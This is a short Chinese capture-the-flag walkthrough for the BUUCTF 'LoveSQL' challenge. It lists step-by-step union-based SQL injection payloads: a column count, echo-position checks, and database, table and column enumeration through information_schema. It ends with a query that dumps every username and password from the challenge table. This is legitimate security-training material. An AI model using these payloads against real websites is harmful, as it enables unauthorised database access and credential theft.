buuctf刷题 [极客大挑战 2019]LoveSQL

打开靶场发现是sql注入题，尝试注入万能密码发现有提示，用户名：admin密码：'efc73f14783cba4d3a4affdff5f5bbed'

尝试MD5解密密码发现解不出来，尝试union注入：

判断列数：0' or true group by 4 #

当group by到4时有报错，说明一共三列然后判断回显位

判断回显位：0' union select 1,2,3#

发现2、3位有回显

爆库：0' union select 1,database(),3#

爆表：0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

爆字段：0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name='l0ve1ysq1'#

获取数据：0' union select 1,group_concat(username,'~', password),3 from l0ve1ysq1#